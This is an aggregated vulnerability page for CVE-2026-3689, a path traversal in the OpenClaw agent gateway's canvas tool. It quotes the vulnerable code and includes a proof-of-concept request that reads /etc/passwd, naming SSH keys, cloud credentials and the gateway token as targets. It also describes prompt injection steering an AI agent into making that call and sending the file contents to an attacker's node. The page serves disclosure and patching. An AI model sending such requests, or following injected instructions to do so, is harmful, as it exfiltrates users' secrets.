CVE-2026-3689
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.
The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.
The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.
- Record
CVE-2026-3689- CVSS 3.0
- 6.5 Medium
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-21619
6.5
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.
The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.
- Record
EUVD-2026-21619- CVSS 3.0
- 6.5 Medium
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jq4x-98m3-ggq6
7.1
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability
ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability
-- ABSTRACT -------------------------------------
Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: OpenClaw - OpenClaw
-- VULNERABILITY DETAILS ------------------------
- Version tested: openclaw 2026.2.17
- Platform tested: macOS 26.3
Analysis
Description
The OpenClaw gateway's canvas tool accepts an a2ui_push action with a jsonlPath parameter that specifies a filesystem path to read. The gateway reads this file using fs.readFile() with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.
The file contents are forwarded to the connected node client via the canvas.a2ui.pushJSONL WebSocket command. The gateway itself returns { ok: true } to the HTTP caller, confirming the file was read and transmitted.
Root Cause
In src/agents/tools/canvas-tool.ts, the a2ui_push action handler reads a file from disk without any path restrictions:
case "a2ui_push": {
const jsonl =
typeof params.jsonl === "string" && params.jsonl.trim()
? params.jsonl
: typeof params.jsonlPath === "string" && params.jsonlPath.trim()
? await fs.readFile(params.jsonlPath.trim(), "utf8") // <-- NO PATH VALIDATION
: "";
if (!jsonl.trim()) {
throw new Error("jsonl or jsonlPath required");
}
await invoke("canvas.a2ui.pushJSONL", { jsonl });
return jsonResult({ ok: true });
}
The jsonlPath parameter is passed directly to fs.readFile() after only a .trim() call. There is:
- No allowlist of permitted directories
- No canonicalization (
path.resolve/realpath) - No check against directory traversal sequences (
..) - No restriction to
.jsonlfile extensions
Attack Scenario
Prompt Injection (Primary)
OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call:
POST /tools/invoke
Authorization: Bearer <agent's token>
Content-Type: application/json
{
"tool": "canvas",
"args": {
"action": "a2ui_push",
"jsonlPath": "/etc/passwd",
"node": "node-host"
}
}
The gateway reads /etc/passwd (or any file: ~/.ssh/id_rsa, ~/.aws/credentials, openclaw.json containing the gateway token itself) and can forward the contents to an attacker connected node.
Reproduction Steps
Prerequisites
- Docker installed
- Python 3
- OpenClaw Docker image built as
openclaw:local
Steps
-
Navigate to the PoC directory and start the environment:
cd vulnerabilities/01-canvas-a2ui-push-lfi docker compose up -d --wait -
This starts two containers:
- Gateway (
openclaw-vuln-01-gateway): Token-protected OpenClaw gateway on port 18701 - Node (
openclaw-vuln-01-node): WebSocket node client that logs received data (simulates exfiltration)
- Gateway (
-
Wait a few seconds for the node to authenticate, then run the PoC:
python3 poc.py -
The PoC runs three tests:
| Test | Description | Result | |------|-------------|--------| | 1 ��� No auth | POST /tools/invoke without token | 401 Unauthorized | | 2 ��� Exploit | POST /tools/invoke with token,
jsonlPath=/etc/passwd| 200 OK (file read) | | 3 ��� Exfiltration | Check node container logs for received file contents | /etc/passwd contents visible | -
Test 2 sends:
{"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}. The gateway reads/etc/passwdviafs.readFile()and forwards the contents to the node viacanvas.a2ui.pushJSONL. The node logs show the full exfiltrated file:[node] ======…
- Record
GHSA-jq4x-98m3-ggq6- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xq39-5c6m-mcq7
6.5
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows...
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.
The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.
- Record
GHSA-xq39-5c6m-mcq7- CVSS 3.0
- 6.5 Medium
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
6.5
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.
The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.
- Record
CVE-2026-3689- CVSS 3.0
- 6.5 Medium
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
6.5
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of OpenClaw. Authentication is required to exploit this vulnerability.
The specific flaw exists within the handling of the path parameters provided to the canvas gateway endpoint. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the service account. Was ZDI-CAN-29312.
- Record
CVE-2026-3689- CVSS 3.0
- 6.5 Medium
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-jq4x-98m3-ggq6
7.1
OpenClaw Canvas Path Traversal Information Disclosure Vulnerability
ZDI-CAN-29312: OpenClaw Canvas Path Traversal Information Disclosure Vulnerability
-- ABSTRACT -------------------------------------
Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: OpenClaw - OpenClaw
-- VULNERABILITY DETAILS ------------------------
- Version tested: openclaw 2026.2.17
- Platform tested: macOS 26.3
Analysis
Description
The OpenClaw gateway's canvas tool accepts an a2ui_push action with a jsonlPath parameter that specifies a filesystem path to read. The gateway reads this file using fs.readFile() with no path validation, canonicalization, or directory restriction. An authenticated attacker can supply an arbitrary absolute or relative path to read any file accessible to the gateway process.
The file contents are forwarded to the connected node client via the canvas.a2ui.pushJSONL WebSocket command. The gateway itself returns { ok: true } to the HTTP caller, confirming the file was read and transmitted.
Root Cause
In src/agents/tools/canvas-tool.ts, the a2ui_push action handler reads a file from disk without any path restrictions:
case "a2ui_push": {
const jsonl =
typeof params.jsonl === "string" && params.jsonl.trim()
? params.jsonl
: typeof params.jsonlPath === "string" && params.jsonlPath.trim()
? await fs.readFile(params.jsonlPath.trim(), "utf8") // <-- NO PATH VALIDATION
: "";
if (!jsonl.trim()) {
throw new Error("jsonl or jsonlPath required");
}
await invoke("canvas.a2ui.pushJSONL", { jsonl });
return jsonResult({ ok: true });
}
The jsonlPath parameter is passed directly to fs.readFile() after only a .trim() call. There is:
- No allowlist of permitted directories
- No canonicalization (
path.resolve/realpath) - No check against directory traversal sequences (
..) - No restriction to
.jsonlfile extensions
Attack Scenario
Prompt Injection (Primary)
OpenClaw is an AI agent orchestration tool. AI agents hold the gateway token to invoke tools. A prompt injection attack ��� where malicious instructions are embedded in content the AI processes ��� can direct the agent to call:
POST /tools/invoke
Authorization: Bearer <agent's token>
Content-Type: application/json
{
"tool": "canvas",
"args": {
"action": "a2ui_push",
"jsonlPath": "/etc/passwd",
"node": "node-host"
}
}
The gateway reads /etc/passwd (or any file: ~/.ssh/id_rsa, ~/.aws/credentials, openclaw.json containing the gateway token itself) and can forward the contents to an attacker connected node.
Reproduction Steps
Prerequisites
- Docker installed
- Python 3
- OpenClaw Docker image built as
openclaw:local
Steps
-
Navigate to the PoC directory and start the environment:
cd vulnerabilities/01-canvas-a2ui-push-lfi docker compose up -d --wait -
This starts two containers:
- Gateway (
openclaw-vuln-01-gateway): Token-protected OpenClaw gateway on port 18701 - Node (
openclaw-vuln-01-node): WebSocket node client that logs received data (simulates exfiltration)
- Gateway (
-
Wait a few seconds for the node to authenticate, then run the PoC:
python3 poc.py -
The PoC runs three tests:
| Test | Description | Result | |------|-------------|--------| | 1 ��� No auth | POST /tools/invoke without token | 401 Unauthorized | | 2 ��� Exploit | POST /tools/invoke with token,
jsonlPath=/etc/passwd| 200 OK (file read) | | 3 ��� Exfiltration | Check node container logs for received file contents | /etc/passwd contents visible | -
Test 2 sends:
{"tool":"canvas","args":{"action":"a2ui_push","jsonlPath":"/etc/passwd","node":"node-host"}}. The gateway reads/etc/passwdviafs.readFile()and forwards the contents to the node viacanvas.a2ui.pushJSONL. The node logs show the full exfiltrated file:[node] ======…
- Record
GHSA-jq4x-98m3-ggq6- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-22
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
openclawnpm |
before 2026.2.21 | 2026.2.21 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-3689 is a medium vulnerability (CVSS 6.5) in Openclaw, published March 2, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.19%, the 68th percentile. Fixed in openclaw 2026.2.21.
References
zerodayinitiative.com/advisories/ZDI-26-227
github.com/openclaw/openclaw/security/advisories/GHSA-jq4x-98m3-ggq6
github.com/openclaw/openclaw/commit/39816e61b0c4347a83c9b76bc8883190cfe5a3c9
github.com/advisories/GHSA-jq4x-98m3-ggq6
nvd.nist.gov/vuln/detail/CVE-2026-3689
github.com/advisories/GHSA-xq39-5c6m-mcq7
github.com/CVEProject/cvelistV5/tree/main/cves/2026/3xxx/CVE-2026-3689.json
github.com/openclaw/openclaw
Left out here: the rest of 2 source descriptions. The JSON record has them.